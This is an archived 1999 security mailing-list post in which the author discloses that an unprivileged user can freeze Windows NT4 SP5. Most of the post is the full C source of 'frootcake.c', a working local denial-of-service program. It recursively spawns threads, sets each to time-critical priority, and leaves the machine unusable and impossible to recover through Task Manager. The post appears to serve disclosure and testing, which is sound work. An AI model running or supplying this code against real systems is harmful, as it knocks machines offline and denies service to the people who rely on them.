ordinary users bringing NT to its knees [repost]

From: kiva (kivaat_private)
Date: Wed Jun 09 1999 - 06:46:05 PDT

  • Next message: Jeff Long: "Re: ssh advirsory"

    [Aleph, sorry about my original post - I pasted the wrong code! oops! :) ]
    
    Hi,
    
    sorry if problems like this are known, but I thought I'd post this just
    incase...
    
    I was curious at how well NT could handle *lots* of threads, so I wrote the
    following. It basically locks up the system with an inability to kill the
    process because (I) never get the task manager up. Pretty bad since an
    ordinary user can run it :/
    
    my system: 2xPPro with NT4 (SP5), 128megs RAM.
    
    cheers
    
    ----------------------------
    
    /*
     * frootcake.c
     * kivaat_private
     *
     * this tests NT at coping with *really dodgy* code...
     * it totally brings my SMP box to being unusable (SP5)
     */
    
    #include <windows.h>
    #include <stdio.h>
    
    void poobah();
    
    DWORD WINAPI thread_func (LPVOID lpv)
    {
        DWORD id;
        HANDLE h;
        BOOL success = 1;
    
        h = CreateThread (NULL, 0, thread_func, (LPVOID)0, 0, &id);
    
        while (success){
            switch (GetThreadPriority (h)){
            case THREAD_PRIORITY_ABOVE_NORMAL:
                success = SetThreadPriority (h, THREAD_PRIORITY_TIME_CRITICAL);
                break;
            case THREAD_PRIORITY_BELOW_NORMAL:
                success = SetThreadPriority (h, THREAD_PRIORITY_TIME_CRITICAL);
                break;
            case THREAD_PRIORITY_HIGHEST:
                success = SetThreadPriority (h, THREAD_PRIORITY_TIME_CRITICAL);
                break;
            case THREAD_PRIORITY_IDLE:
                success = SetThreadPriority (h, THREAD_PRIORITY_TIME_CRITICAL);
                break;
            case THREAD_PRIORITY_LOWEST:
                success = SetThreadPriority (h, THREAD_PRIORITY_TIME_CRITICAL);
                break;
            case THREAD_PRIORITY_NORMAL:
                success = SetThreadPriority (h, THREAD_PRIORITY_TIME_CRITICAL);
                break;
            }
        }
    
        poobah();
        return 0;
    }
    
    void poobah()
    {
        DWORD id;
        HANDLE h;
    
        h = CreateThread (NULL, 0, thread_func, (LPVOID)0, 0, &id);
        SetThreadPriority (h, THREAD_PRIORITY_TIME_CRITICAL);
    
        poobah();
    }
    
    int main ()
    {
        printf ("frootcake - kivaat_private\n");
        poobah();
        return 0;
    }
    
    /* eof */
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:48:41 PDT